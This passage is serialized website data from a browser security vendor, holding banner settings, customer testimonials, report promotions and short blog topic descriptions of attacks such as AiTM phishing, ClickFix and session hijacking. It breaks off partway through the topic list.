[{"data":1,"prerenderedAt":125005},["ShallowReactive",2],{"application-flags":3,"navbar":7,"always-visible-banner":36,"navbar-about-highlight":108,"navbar-resource-highlight":182,"blog-topics":226,"trust-badges":656,"solution-nav":677,"fa-icon-solid-faUserSecret":800,"fa-icon-sharp-regular-faLaptopCode":804,"fa-icon-solid-faPlugCircleXmark":806,"fa-icon-sharp-regular-faPuzzlePiece":808,"fa-icon-solid-faFileCircleXmark":810,"fa-icon-solid-faGhost":813,"fa-icon-solid-faQrcode":816,"fa-icon-solid-faCookieBite":818,"fa-icon-sharp-regular-faFishingRod":820,"fa-icon-sharp-regular-faUserSecret":822,"fa-icon-sharp-regular-faRadar":824,"fa-icon-sharp-regular-faSatelliteDish":826,"fa-icon-sharp-regular-faShieldCheck":828,"fa-icon-sharp-regular-faBrainCircuit":830,"fa-icon-solid-faMobileScreenButton":832,"fa-icon-brands-faChrome":834,"fa-icon-solid-faDisplay":836,"fa-icon-solid-faFilter":838,"fa-icon-solid-faCloudArrowUp":840,"blog-topic-clickfix":842},[4],{"name":5,"enabled":6},"maintenanceMode",false,[8],{"createdDate":9,"id":10,"name":11,"modelId":12,"published":13,"meta":14,"query":22,"data":23,"variations":28,"lastUpdated":29,"firstPublished":30,"testRatio":31,"createdBy":32,"lastUpdatedBy":33,"folders":34,"rev":35},1742208588866,"1c7a4e423bf54ac1a328bb4063459ef2","Banner","1c6207a5f24948ab82d4a0b17f251193","published",{"breakpoints":15,"hasAutosaves":19,"kind":20,"lastPreviewUrl":21},{"medium":16,"small":17,"xsmall":18},768,640,320,true,"data","",[],{"link":24,"text":25,"type":26,"url":27},{},"Get our latest report analyzing browser attack techniques in 2026","web-banner","https://pushsecurity.com/resources/browser-attacks-report",{},1774258294825,1742208637545,1,"CydmZnOWU1XuAaLhEDCoYNM4Z8W2","jKjF9r5jcvXU8tzZEfFQm31Iyvr2",[],"j7ew2tin4q",{"createdBy":37,"createdDate":38,"data":39,"folders":94,"id":95,"lastUpdated":96,"lastUpdatedBy":97,"meta":98,"modelId":102,"name":103,"published":13,"query":104,"testRatio":31,"variations":105,"firstPublished":106,"stageModifiedSincePublish":6,"rev":107},"ST0tXQM8slWpFrmioqKHmENB2qe2",1774965361051,{"ctaText":40,"text":41,"url":21,"blocks":42,"state":90},"ewrererw","testrfesssssssssss",[43,70,78],{"@type":44,"@version":45,"id":46,"component":47,"responsiveStyles":60},"@builder.io/sdk:Element",2,"builder-ca12c06a52de41d7b8743da53118cd38",{"name":48,"tag":48,"options":49,"isRSC":59},"TopBannerContent",{"text":50,"ctaText":51,"url":52,"mainText":53,"cta":56},"New Webinar Series: Join John Hammond, Troy Hunt, and Matt Johansen for the State of Browser Attacks","Save Your Spot","https://pushsecurity.com/webinar/state-of-browser-security",{"content":54,"fontSize":55},"\u003Cp class=\"\">Do you know how much AI is in your workforce? Find out August 20th.\u003C/p>","text-base",{"content":57,"fontSize":55,"url":58},"\u003Cp class=\"\">Save your seat →\u003C/p>","https://pushsecurity.com/webinar/shadow-ai",null,{"large":61},{"display":62,"flexDirection":63,"position":64,"flexShrink":65,"boxSizing":66,"marginTop":67,"marginBottom":67,"fontSize":68,"fontWeight":69},"flex","column","relative","0","border-box",".56rem","1.125rem","700",{"@type":44,"@version":45,"id":71,"component":72,"responsiveStyles":76},"builder-a2e1f4b9f30b464bb814d7f5de5b0aa7",{"name":73,"options":74,"isRSC":59},"Custom Code",{"code":75,"scriptsClientOnly":6},"\u003Cstyle>\n  .top-banner.bg-web-orange{background:rgb(114, 79, 255);}\n\u003C/style>\n",{"large":77},{"display":62,"flexDirection":63,"position":64,"flexShrink":65,"boxSizing":66},{"id":79,"@type":44,"tagName":80,"properties":81,"responsiveStyles":85},"builder-pixel-k74nkzlquog","img",{"src":82,"aria-hidden":83,"alt":21,"role":84,"width":65,"height":65},"https://cdn.builder.io/api/v1/pixel?apiKey=f3a1111ff5be48cdbb123cd9f5795a05","true","presentation",{"large":86},{"height":65,"width":65,"display":87,"opacity":65,"overflow":88,"pointerEvents":89},"block","hidden","none",{"deviceSize":91,"location":92},"large",{"path":21,"query":93},{},[],"fd266d0172cc47429be7ad10f48c99ad",1786155414606,"kYgMv6WsbvfmlOUYqR2SFwGzw6e2",{"breakpoints":99,"hasAutosaves":6,"hasErrors":6,"hasLinks":6,"kind":100,"lastPreviewUrl":101},{"medium":16,"small":17,"xsmall":18},"component","https://pushsecurity.com/?builder.space=f3a1111ff5be48cdbb123cd9f5795a05&builder.user.permissions=read%2Ccreate%2Cpublish%2CeditDesigns%2CeditLayouts%2CeditLayers%2CeditContentPriority%2CeditFolders%2CcreateProjects%2CsendPullRequests%2CfusionHostingPublish&builder.user.role.name=Designer&builder.user.role.id=creator&builder.cachebust=true&builder.preview=always-visible-banner&builder.noCache=true&builder.allowTextEdit=true&__builder_editing__=true&builder.overrides.always-visible-banner=fd266d0172cc47429be7ad10f48c99ad&builder.overrides.fd266d0172cc47429be7ad10f48c99ad=fd266d0172cc47429be7ad10f48c99ad&builder.options.locale=Default","0678d178ec8b41efb8a23c09dba7874d","always visible banner",[],{},1774968080803,"1lcyl36j3gz",[109,145],{"createdBy":32,"createdDate":110,"data":111,"folders":134,"id":135,"lastUpdated":136,"lastUpdatedBy":32,"meta":137,"modelId":139,"name":140,"published":13,"query":141,"stageModifiedSincePublish":6,"testRatio":31,"variations":142,"firstPublished":143,"rev":144},1776247359804,{"link":112,"testimonial":113,"testimonialLink":133,"type":116},{},{"@type":114,"id":115,"model":116,"value":117},"@builder.io/core:Reference","f028f2b685bb47cd8bf9e82a26dd5a79","testimonial",{"query":118,"folders":119,"createdDate":120,"id":115,"name":121,"modelId":122,"published":13,"data":123,"variations":127,"lastUpdated":128,"firstPublished":129,"testRatio":31,"createdBy":37,"lastUpdatedBy":37,"meta":130,"rev":132},[],[],1735823466309,"We found Push to be more accurate when compared to competitors and the browser agent offered features that others couldn’t match.","42035571a56940ac98bff4544aa79aa5",{"author":124,"jobTitle":125,"quote":121,"image":126},"Jason Waits","\u003Cp>CISO at Inductive Automation\u003C/p>","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2Ff04c0c0689ce4a89ac0f0708d78c0a07",{},1735910703862,1735823501152,{"kind":20,"lastPreviewUrl":21,"breakpoints":131,"hasAutosaves":19},{"small":17,"medium":16},"xal7chkxmdh","/customer-stories/inductive-automation",[],"9136a8f18b3b4a6ba29b8653a99372b1",1776247404986,{"breakpoints":138,"hasAutosaves":6,"kind":20,"lastPreviewUrl":21},{"medium":16,"small":17,"xsmall":18},"20d9eaa352304613b3d1a794b400703d","testimonial-inductive-automation",[],{},1776247404973,"5mqgwlt47hs",{"createdBy":32,"createdDate":146,"data":147,"folders":174,"id":175,"lastUpdated":176,"lastUpdatedBy":32,"meta":177,"modelId":139,"name":172,"published":13,"query":179,"stageModifiedSincePublish":6,"testRatio":31,"variations":180,"firstPublished":181,"rev":144},1776255761419,{"description":148,"image":149,"link":150,"testimonial":153,"title":172,"type":173},"Learn about the latest techniques being used in the wild.","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2F7b4a5ebf81d64e8c9d7fc35f6c96c4a9",{"text":151,"url":152},"Download now","/resources/browser-attacks-report",{"@type":114,"id":154,"model":116,"value":155},"192acbb1f9ca4cac918c0ec435a8bae3",{"query":156,"folders":157,"createdDate":158,"id":154,"name":159,"modelId":122,"published":13,"data":160,"variations":166,"lastUpdated":167,"firstPublished":168,"testRatio":31,"createdBy":37,"lastUpdatedBy":32,"meta":169,"rev":171},[],[],1728981467463,"Push does for identity what CrowdStrike did for the endpoint",{"video":161,"jobTitle":162,"author":163,"qoute":21,"quote":164,"image":165},"https://cdn.builder.io/o/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2F8b30e8ca50064058bbaef0f3c6164575%2Fcompressed?apiKey=f3a1111ff5be48cdbb123cd9f5795a05&token=8b30e8ca50064058bbaef0f3c6164575&alt=media&optimized=true","\u003Cp>Deputy CISO at Microsoft\u003C/p>\u003Cp>Former LinkedIn, Slack, Palantir\u003C/p>","Geoff Belknap","Push does for identity what CrowdStrike did for the endpoint.","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2F748f0ad0a5064a00a13f4721fcc8dea1",{},1742902158597,1728981782923,{"kind":20,"lastPreviewUrl":21,"breakpoints":170,"hasAutosaves":19},{"small":17,"medium":16},"kg131t0jkvo","Report: 2026 Browser Attack Techniques","resource",[],"05a9322735fc427db12e2740e4302300",1776255810913,{"breakpoints":178,"hasAutosaves":6,"kind":20,"lastPreviewUrl":21},{"medium":16,"small":17,"xsmall":18},[],{},1776255810900,[183,205],{"createdBy":32,"createdDate":184,"data":185,"folders":195,"id":196,"lastUpdated":197,"lastUpdatedBy":32,"meta":198,"modelId":200,"name":172,"published":13,"query":201,"stageModifiedSincePublish":6,"testRatio":31,"variations":202,"firstPublished":203,"rev":204},1776256900280,{"description":148,"image":149,"link":186,"testimonial":187,"title":172,"type":173},{"text":151,"url":152},{"@type":114,"id":154,"model":116,"value":188},{"query":189,"folders":190,"createdDate":158,"id":154,"name":159,"modelId":122,"published":13,"data":191,"variations":192,"lastUpdated":167,"firstPublished":168,"testRatio":31,"createdBy":37,"lastUpdatedBy":32,"meta":193,"rev":171},[],[],{"video":161,"jobTitle":162,"author":163,"qoute":21,"quote":164,"image":165},{},{"kind":20,"lastPreviewUrl":21,"breakpoints":194,"hasAutosaves":19},{"small":17,"medium":16},[],"1f429607996e4e5fae8fe3f9b9610e55",1776256937553,{"breakpoints":199,"hasAutosaves":6,"kind":20,"lastPreviewUrl":21},{"medium":16,"small":17,"xsmall":18},"4829faa81e7c4ee8bd2d000e160e8d3c",[],{},1776256937540,"470xio0yv7r",{"createdBy":32,"createdDate":206,"data":207,"folders":217,"id":218,"lastUpdated":219,"lastUpdatedBy":32,"meta":220,"modelId":200,"name":222,"published":13,"query":223,"stageModifiedSincePublish":6,"testRatio":31,"variations":224,"firstPublished":225,"rev":204},1776256949234,{"link":208,"testimonial":209,"testimonialLink":133,"type":116},{},{"@type":114,"id":115,"model":116,"value":210},{"query":211,"folders":212,"createdDate":120,"id":115,"name":121,"modelId":122,"published":13,"data":213,"variations":214,"lastUpdated":128,"firstPublished":129,"testRatio":31,"createdBy":37,"lastUpdatedBy":37,"meta":215,"rev":132},[],[],{"author":124,"jobTitle":125,"quote":121,"image":126},{},{"kind":20,"lastPreviewUrl":21,"breakpoints":216,"hasAutosaves":19},{"small":17,"medium":16},[],"ce043785b71b4ece98eac811ecf4ba10",1776256974140,{"breakpoints":221,"hasAutosaves":6,"kind":20,"lastPreviewUrl":21},{"medium":16,"small":17,"xsmall":18},"inductive-automation",[],{},1776256974130,{"id":227,"extension":228,"items":229,"meta":653,"stem":654,"__hash__":655},"blogTopics/blogtopics.json","json",[230,239,247,256,265,274,283,292,301,310,319,328,337,346,355,363,372,381,390,399,408,417,426,435,443,452,461,470,479,488,497,506,514,523,532,540,549,558,566,575,584,593,602,611,619,628,637,645],{"sys":231,"faqItemsCollection":233,"name":235,"slug":236,"tier":31,"intro":237,"faqTitle":59,"postCount":238,"hasPage":19},{"id":232},"topic-ai",{"items":234},[],"AI","ai","AI is reshaping both sides of the security equation: employees adopt AI tools faster than security teams can track them, while attackers use AI to scale and automate campaigns. Shadow AI adoption may now outpace wider shadow SaaS, and attackers are already turning AI chatbot platforms into malware delivery channels. Push has researched the offensive potential of computer-using agents and now applies AI agents to its own threat hunting. This hub covers AI as risk, target, and defensive tool.",22,{"sys":240,"faqItemsCollection":242,"name":244,"slug":245,"tier":45,"intro":246,"faqTitle":59,"postCount":238,"hasPage":19},{"id":241},"topic-ai-attacks",{"items":243},[],"AI attacks","ai-attacks","AI attacks run in both directions: attackers using AI to scale phishing, malware delivery, and identity attacks, and AI platforms themselves becoming the attack surface. Push has researched how computer-using agents can automate identity attacks, and has seen the poisoned tenant technique it coined used against its own employees in the wild.",{"sys":248,"faqItemsCollection":250,"name":252,"slug":253,"tier":45,"intro":254,"faqTitle":59,"postCount":255,"hasPage":19},{"id":249},"topic-ai-governance",{"items":251},[],"AI governance","ai-governance","AI governance is how organizations set and enforce rules for workplace AI use — which tools are allowed, what data can enter them, and how to evidence it to regulators. With US, EU, and UK AI regulations converging on obligations most organizations can’t yet meet, Push’s research makes the case that enforcement starts in the browser, where AI tools are actually used.",9,{"sys":257,"faqItemsCollection":259,"name":261,"slug":262,"tier":45,"intro":263,"faqTitle":59,"postCount":264,"hasPage":19},{"id":258},"topic-aitm",{"items":260},[],"AiTM phishing","aitm","Adversary-in-the-middle (AiTM) phishing proxies a real login page through an attacker-controlled site, capturing credentials, MFA codes, and session tokens in real time to bypass multi-factor authentication. Push’s research into kits like Evilginx and Sneaky2FA documents how they evade URL- and signature-based detection — and why analyzing toolkit behavior in the browser catches attacks that blocklists miss.",77,{"sys":266,"faqItemsCollection":268,"name":270,"slug":271,"tier":45,"intro":272,"faqTitle":59,"postCount":273,"hasPage":6},{"id":267},"topic-bec",{"items":269},[],"BEC","bec","Business email compromise (BEC) turns a hijacked mailbox into a fraud tool: attackers use mail rules, auto-forwarding, and payment redirection to steal money while staying invisible to the account owner. Alongside a first-hand case study of a BEC attack that nearly cost an engineering firm millions, Push breaks down these mailbox persistence tricks and how to detect them.",3,{"sys":275,"faqItemsCollection":277,"name":279,"slug":280,"tier":31,"intro":281,"faqTitle":59,"postCount":282,"hasPage":19},{"id":276},"topic-browser-attacks",{"items":278},[],"Browser attacks","browser-attacks","Browser attacks target users through the web pages, sessions, and extensions they rely on every day — bypassing endpoint and network defenses that never see inside the browser. Techniques like AiTM phishing kits, ClickFix-style copy-paste attacks, OAuth consent abuse, malvertising, and browser sync abuse have become a leading path to account takeover. Push researchers analyze these attacks in the wild, from infiltrating criminal phishing panels to dissecting toolkits like ConsentFix and Sneaky2FA. Use this hub to track how the techniques evolve and how to defend against them.",118,{"sys":284,"faqItemsCollection":286,"name":288,"slug":289,"tier":45,"intro":290,"faqTitle":59,"postCount":291,"hasPage":19},{"id":285},"topic-browser-extensions",{"items":287},[],"Browser extensions","browser-extensions","Browser extensions cut both ways for security teams: malicious or compromised extensions are a growing attack vector, while an extension is also the lightest-weight way to deploy security controls into the browsers employees already use. These posts cover both sides — extension-borne risks like browser sync attacks and the limits of risk scoring, and how Push uses its extension to detect threats and block risky extensions.",30,{"sys":293,"faqItemsCollection":295,"name":297,"slug":298,"tier":31,"intro":299,"faqTitle":59,"postCount":300,"hasPage":19},{"id":294},"topic-browser-security",{"items":296},[],"Browser security","browser-security","Work now happens in the browser, making browser security — visibility and control at the point where users meet the web — a core layer of enterprise defense. Endpoint, network, and email tools miss attacks that unfold inside the browser session, from AiTM phishing to risky extensions and shadow SaaS. Push has published extensively on choosing between enterprise browsers and browser extensions, using browser telemetry, and making the business case for browser security. Start here for both strategy and hands-on guidance.",127,{"sys":302,"faqItemsCollection":304,"name":306,"slug":307,"tier":45,"intro":308,"faqTitle":59,"postCount":309,"hasPage":19},{"id":303},"topic-casb",{"items":305},[],"CASB","casb","Cloud access security brokers (CASBs) govern cloud app usage through API integrations and network proxies — an approach that works for sanctioned apps but struggles with the long tail of shadow SaaS employees adopt on their own. Because every SaaS signup happens in a browser, Push captures that adoption in real time at the point of login, and these posts cover what proxy-based discovery misses.",12,{"sys":311,"faqItemsCollection":313,"name":315,"slug":316,"tier":45,"intro":317,"faqTitle":59,"postCount":318,"hasPage":19},{"id":312},"topic-clickfix",{"items":314},[],"ClickFix","clickfix","ClickFix attacks trick users into copying and running malicious commands themselves — typically through fake CAPTCHA, error, or fix-it prompts — so malware executes without a download for security tools to scan. Push researchers track the technique’s evolution in the wild and identified the ConsentFix and InstallFix variants, which extend it to OAuth consent grants and fake install guides.",39,{"sys":320,"faqItemsCollection":322,"name":324,"slug":325,"tier":45,"intro":326,"faqTitle":59,"postCount":327,"hasPage":19},{"id":321},"topic-credential-phishing",{"items":323},[],"Credential phishing","credential-phishing","Credential phishing steals usernames and passwords through fake login pages impersonating the services employees use, handing attackers direct access to corporate accounts. Attackers don’t hack in — they log in. Push’s browser extension analyzes login pages as users actually see them, blocking cloned pages and stopping employees from entering company passwords on lookalike sites.",89,{"sys":329,"faqItemsCollection":331,"name":333,"slug":334,"tier":45,"intro":335,"faqTitle":59,"postCount":336,"hasPage":19},{"id":330},"topic-credential-stuffing",{"items":332},[],"Credential stuffing","credential-stuffing","Credential stuffing is an attack where criminals replay username-password pairs stolen from one breach against other services, exploiting password reuse to take over accounts. Major breaches have shown how far a single set of stolen credentials can travel. Push detects verified stolen credentials by comparing employee passwords against breach datasets and dark-web threat intelligence, eliminating false positives.",64,{"sys":338,"faqItemsCollection":340,"name":342,"slug":343,"tier":31,"intro":344,"faqTitle":59,"postCount":345,"hasPage":19},{"id":339},"topic-detection-and-response",{"items":341},[],"Detection & response","detection-and-response","Detection and response is being reshaped as attacks move into the browser, where EDR, SIEM, and network tools have limited visibility. Modern phishing kits evade signature-based detection, and most malicious pages have never been seen before — so technique-level, in-browser detection matters more than known-bad indicators. Push’s work here spans high-fidelity browser telemetry, session token theft detection, and agentic threat hunting, plus practical IR guidance for compromised SaaS accounts and malicious OAuth apps. These posts cover both the philosophy and the workflows.",101,{"sys":347,"faqItemsCollection":349,"name":351,"slug":352,"tier":45,"intro":353,"faqTitle":59,"postCount":354,"hasPage":19},{"id":348},"topic-detection-engineering",{"items":350},[],"Detection engineering","detection-engineering","Detection engineering turns threat research into reliable, high-fidelity detections — and as AI accelerates the churn of attacker infrastructure, indicator-based detection is collapsing in favor of technique-level approaches. Here you’ll find teardowns of AiTM kits, ClickFix pages, and malvertising campaigns, alongside Push’s own account of building an agentic threat hunting pipeline that turns hunts into shipped detections.",42,{"sys":356,"faqItemsCollection":358,"name":360,"slug":361,"tier":45,"intro":362,"faqTitle":59,"postCount":238,"hasPage":19},{"id":357},"topic-device-code-phishing",{"items":359},[],"Device code phishing","device-code-phishing","Device code phishing abuses the OAuth device authorization flow: attackers generate a legitimate sign-in code, trick the victim into entering it on the vendor’s real login page, and walk away with access tokens — no fake site or password capture required. Push research tracked a sharp spike in adoption during 2026 as attackers use the technique to sidestep standard access controls.",{"sys":364,"faqItemsCollection":366,"name":368,"slug":369,"tier":45,"intro":370,"faqTitle":59,"postCount":371,"hasPage":19},{"id":365},"topic-dlp",{"items":367},[],"DLP","dlp","Data loss prevention (DLP) is the practice of stopping sensitive data from leaving your control — a problem that has shifted from email and endpoints to the browser, where employees move data into SaaS and AI tools. Push applies controls at that point of use, from keeping corporate credentials out of personal password managers to governing what flows into unsanctioned apps.",15,{"sys":373,"faqItemsCollection":375,"name":377,"slug":378,"tier":45,"intro":379,"faqTitle":59,"postCount":380,"hasPage":19},{"id":374},"topic-edr",{"items":376},[],"EDR","edr","Endpoint detection and response (EDR) watches processes, files, and memory on the device — a vantage point that never sees the phishing pages, stolen sessions, and identity attacks playing out inside the browser. That’s not an EDR failure; attackers have simply moved where it can’t follow. These posts map that gap and show how Push pairs browser-level detection and response with endpoint security to close it.",24,{"sys":382,"faqItemsCollection":384,"name":386,"slug":387,"tier":45,"intro":388,"faqTitle":59,"postCount":389,"hasPage":19},{"id":383},"topic-enterprise-browser",{"items":385},[],"Enterprise browser","enterprise-browser","An enterprise browser is a standalone, security-hardened browser that organizations deploy in place of Chrome, Edge, or other defaults. The real buying question is whether replacing the browser beats securing the browsers employees already use — a trade-off these posts examine directly, alongside analysis of Omdia’s secure enterprise browser market report and Push’s framework for weighing full browsers against extension-based deployment.",6,{"sys":391,"faqItemsCollection":393,"name":395,"slug":396,"tier":45,"intro":397,"faqTitle":59,"postCount":398,"hasPage":19},{"id":392},"topic-ghost-logins",{"items":394},[],"Ghost logins","ghost-logins","Ghost logins are overlooked authentication routes into an account — like a password login lingering behind SSO, or a forgotten secondary auth method — that attackers exploit for account takeover and persistence. Push coined the term after research showing how these forgotten login paths let attackers sidestep the MFA and SSO controls guarding an account’s primary sign-in method.",48,{"sys":400,"faqItemsCollection":402,"name":404,"slug":405,"tier":45,"intro":406,"faqTitle":59,"postCount":407,"hasPage":19},{"id":401},"topic-identity-attacks",{"items":403},[],"Identity attacks","identity-attacks","Identity attacks target user accounts rather than infrastructure — phishing credentials, stealing sessions, abusing OAuth grants — because logging in is easier than hacking in. Identity-based techniques are now the leading cause of breaches. Push’s offensive research maps these techniques continuously, coining attacks like SAMLjacking and the poisoned tenant before they appeared in the wild.",56,{"sys":409,"faqItemsCollection":411,"name":413,"slug":414,"tier":31,"intro":415,"faqTitle":59,"postCount":416,"hasPage":19},{"id":410},"topic-identity-security",{"items":412},[],"Identity security","identity-security","Identity security is the practice of protecting workforce accounts, credentials, and sessions — the primary route attackers now use to breach organizations. Instead of hacking in, attackers log in: through phished credentials, stolen session tokens, MFA bypass, and forgotten ghost logins. Push’s research team documents these techniques continuously, from cross-IdP impersonation and SAMLjacking to analyses of major identity-driven breaches. This hub collects that research alongside practical guidance on MFA, SSO, and stopping account takeover.",154,{"sys":418,"faqItemsCollection":420,"name":422,"slug":423,"tier":45,"intro":424,"faqTitle":59,"postCount":425,"hasPage":19},{"id":419},"topic-infostealer",{"items":421},[],"Infostealer","infostealer","Infostealers are malware built to harvest saved passwords, cookies, and session tokens from infected devices, supplying the stolen credentials behind some of the most consequential breaches of recent years. Push traces the ecosystem trading this data and checks employee passwords against threat intel feeds, flagging verified stolen credentials before attackers can log in with them.",52,{"sys":427,"faqItemsCollection":429,"name":431,"slug":432,"tier":45,"intro":433,"faqTitle":59,"postCount":434,"hasPage":19},{"id":428},"topic-legitimate-service-abuse",{"items":430},[],"Legitimate service abuse","legitimate-service-abuse","Legitimate service abuse means staging attacks on trusted platforms — Google Ads, AI chatbot share pages, office.com links, Slack, SaaS tenants — so malicious content inherits the reputation of the service hosting it. Push research has documented the pattern repeatedly, from malvertising run through hijacked Google Ad Manager accounts to phishing links generated by Active Directory Federation Services.",28,{"sys":436,"faqItemsCollection":438,"name":440,"slug":441,"tier":45,"intro":442,"faqTitle":59,"postCount":291,"hasPage":19},{"id":437},"topic-malvertising",{"items":439},[],"Malvertising","malvertising","Malvertising uses paid search and display ads to put phishing pages and malware in front of users, often by impersonating trusted brands at the top of Google results. Push tracks these campaigns continuously — intercepting live attacks spoofing well-known brands — and has documented how criminals hijack Google Ads accounts to fund and run them.",{"sys":444,"faqItemsCollection":446,"name":448,"slug":449,"tier":45,"intro":450,"faqTitle":59,"postCount":451,"hasPage":19},{"id":445},"topic-malware-delivery",{"items":447},[],"Malware delivery","malware-delivery","Malware delivery has moved into the browser: rather than email attachments, attackers now rely on malvertising, fake install guides, and ClickFix-style copy-paste lures to get code running on endpoints. Push research on techniques like InstallFix maps the playbook, and in-browser detection of malicious copy and paste blocks these attacks before commands reach the endpoint.",13,{"sys":453,"faqItemsCollection":455,"name":457,"slug":458,"tier":45,"intro":459,"faqTitle":59,"postCount":460,"hasPage":19},{"id":454},"topic-mfa",{"items":456},[],"MFA","mfa","Multi-factor authentication (MFA) requires a second proof of identity beyond a password, and it remains one of the most effective controls against account takeover. Regulators from Cyber Essentials to NYDFS now mandate it across cloud services. Push enforces MFA in the browser on third-party apps — even those with no native enforcement option — and shows security teams where coverage gaps remain.",83,{"sys":462,"faqItemsCollection":464,"name":466,"slug":467,"tier":45,"intro":468,"faqTitle":59,"postCount":469,"hasPage":19},{"id":463},"topic-mfa-bypass",{"items":465},[],"MFA bypass","mfa-bypass","MFA bypass covers the techniques attackers use to defeat multi-factor authentication — AiTM phishing kits, consent phishing, device code phishing, and MFA downgrade attacks among them. None of these break the second factor; they route around it. Push researchers regularly get hands-on with phishing kits like Evilginx and Sneaky2FA, analyzing how these attacks work in the wild and how they evolve.",58,{"sys":471,"faqItemsCollection":473,"name":475,"slug":476,"tier":45,"intro":477,"faqTitle":59,"postCount":478,"hasPage":19},{"id":472},"topic-non-email-phishing",{"items":474},[],"Non-email phishing","non-email-phishing","Non-email phishing delivers malicious links through channels your secure email gateway never sees — social media messages, IM apps like Slack and Teams, search ads, and SMS. Push has intercepted live campaigns arriving via LinkedIn DMs, malvertising, and messaging platforms, which is why it detects phishing pages in the browser at the point of click, regardless of delivery channel.",51,{"sys":480,"faqItemsCollection":482,"name":484,"slug":485,"tier":45,"intro":486,"faqTitle":59,"postCount":487,"hasPage":19},{"id":481},"topic-oauth-abuse",{"items":483},[],"OAuth abuse","oauth-abuse","OAuth abuse is attackers exploiting app-to-app authorization — consent phishing, malicious OAuth apps, stolen tokens, and device code flows — to gain persistent access to cloud tenants without touching a password or MFA prompt. Push tracks these techniques continuously and discovered ConsentFix, a browser-native attack in the wild that pairs OAuth consent phishing with a ClickFix-style prompt.",70,{"sys":489,"faqItemsCollection":491,"name":493,"slug":494,"tier":45,"intro":495,"faqTitle":59,"postCount":496,"hasPage":19},{"id":490},"topic-passkeys",{"items":492},[],"Passkeys","passkeys","Passkeys are phishing-resistant credentials that replace passwords with cryptographic key pairs bound to a user’s device. They defeat conventional credential phishing, but attackers adapt: Push research has documented MFA downgrade, app-specific password phishing, and device code phishing being used in the wild to route around passkey-protected accounts. Deploying passkeys is step one; closing those fallback paths is step two.",21,{"sys":498,"faqItemsCollection":500,"name":502,"slug":503,"tier":45,"intro":504,"faqTitle":59,"postCount":505,"hasPage":19},{"id":499},"topic-password-security",{"items":501},[],"Password security","password-security","Password security is the practice of keeping workforce credentials strong, unique, and out of attackers’ hands — still a frontline defense while most SaaS logins depend on passwords. Expiration policies don’t fix weak or reused passwords; visibility does. Push observes real logins in the browser to flag weak, reused, and breached passwords and guide employees to reset them on any app.",79,{"sys":507,"faqItemsCollection":509,"name":511,"slug":512,"tier":45,"intro":513,"faqTitle":59,"postCount":318,"hasPage":19},{"id":508},"topic-phaas",{"items":510},[],"PhaaS","phaas","Phishing-as-a-service (PhaaS) platforms sell ready-made phishing kits, hosted infrastructure, and management panels on subscription, letting low-skill criminals run MFA-bypassing campaigns at scale. Kits like Evilginx, Tycoon2FA, Sneaky2FA, FlowerStorm, and EvilTokens each add their own evasion and session-theft capabilities, and new entrants appear regularly. Push researchers continuously get hands-on with these tools — investigating attacks in the wild, reverse-engineering kit behavior, and turning that research into detections.",{"sys":515,"faqItemsCollection":517,"name":519,"slug":520,"tier":31,"intro":521,"faqTitle":59,"postCount":522,"hasPage":19},{"id":516},"topic-phishing",{"items":518},[],"Phishing","phishing","Phishing remains the most common way attackers compromise business accounts — and it has moved far beyond suspicious emails. Modern campaigns use AiTM toolkits that bypass MFA, consent phishing against OAuth, device code phishing, and lures delivered through malvertising, LinkedIn, and Slack. Push detects and blocks these attacks in the browser, and its researchers publish teardowns of live campaigns and kits like Evilginx and Sneaky2FA. Read on for how phishing actually works today and what stops it.",91,{"sys":524,"faqItemsCollection":526,"name":528,"slug":529,"tier":45,"intro":530,"faqTitle":59,"postCount":531,"hasPage":19},{"id":525},"topic-public-breach",{"items":527},[],"Public breach","public-breach","Public breaches are the disclosed incidents that show how attacks actually unfold once the headlines fade. Push’s breach analyses keep finding identity at the entry point: stolen credentials, OAuth abuse, and missing MFA recur across the incidents analyzed here.",29,{"sys":533,"faqItemsCollection":535,"name":537,"slug":538,"tier":45,"intro":539,"faqTitle":59,"postCount":451,"hasPage":19},{"id":534},"topic-ransomware",{"items":536},[],"Ransomware","ransomware","Ransomware attacks increasingly begin with an identity, not an exploit: stolen credentials, MFA bypass, and help desk scams give operators their initial foothold. The analysis here follows that front end of the kill chain — how identity compromise leads to ransomware deployment, and the breaches driving regulators toward tighter MFA requirements.",{"sys":541,"faqItemsCollection":543,"name":545,"slug":546,"tier":31,"intro":547,"faqTitle":59,"postCount":548,"hasPage":19},{"id":542},"topic-saas-security",{"items":544},[],"SaaS security","saas-security","SaaS security means protecting the sprawl of cloud apps, accounts, and integrations your employees adopt — often without IT ever knowing. Shadow SaaS, risky OAuth grants, ghost logins, and unmanaged third-party access create attack paths traditional controls can’t see, as recent high-profile breaches have demonstrated. Building on the original SaaS attack matrix, Push continues to map SaaS-native attack techniques alongside practical guides for discovering and securing unsanctioned apps, and this hub gathers all of it.",96,{"sys":550,"faqItemsCollection":552,"name":554,"slug":555,"tier":45,"intro":556,"faqTitle":59,"postCount":557,"hasPage":6},{"id":551},"topic-security-training",{"items":553},[],"Security training","security-training","Security training aims to teach employees to recognize and avoid attacks — yet modern phishing routinely fools even seasoned security professionals. Push argues that training budgets work harder as real-time, in-browser intervention: guardrails and warnings at the moment of risk, rather than lessons employees must recall under pressure.",4,{"sys":559,"faqItemsCollection":561,"name":563,"slug":564,"tier":45,"intro":565,"faqTitle":59,"postCount":389,"hasPage":19},{"id":560},"topic-seo-poisoning",{"items":562},[],"SEO poisoning","seo-poisoning","SEO poisoning manipulates search engine results so malicious pages rank prominently for the software, tools, or services users are actively searching for, turning a routine search into an infection vector. It often pairs with malvertising and ClickFix-style payloads — Push has documented attackers abusing shared pages on legitimate AI chatbot domains to deliver malware from trusted infrastructure.",{"sys":567,"faqItemsCollection":569,"name":571,"slug":572,"tier":45,"intro":573,"faqTitle":59,"postCount":574,"hasPage":19},{"id":568},"topic-session-hijacking",{"items":570},[],"Session hijacking","session-hijacking","Session hijacking is the theft of an authenticated session — usually via stolen session cookies or tokens — letting attackers walk past passwords and MFA into a live account. AiTM phishing kits and infostealers have made it a mainstream attack technique across both criminal and targeted intrusions. Push’s browser agent detects session token theft by adding telemetry to the user agent string, creating a high-fidelity signal for security 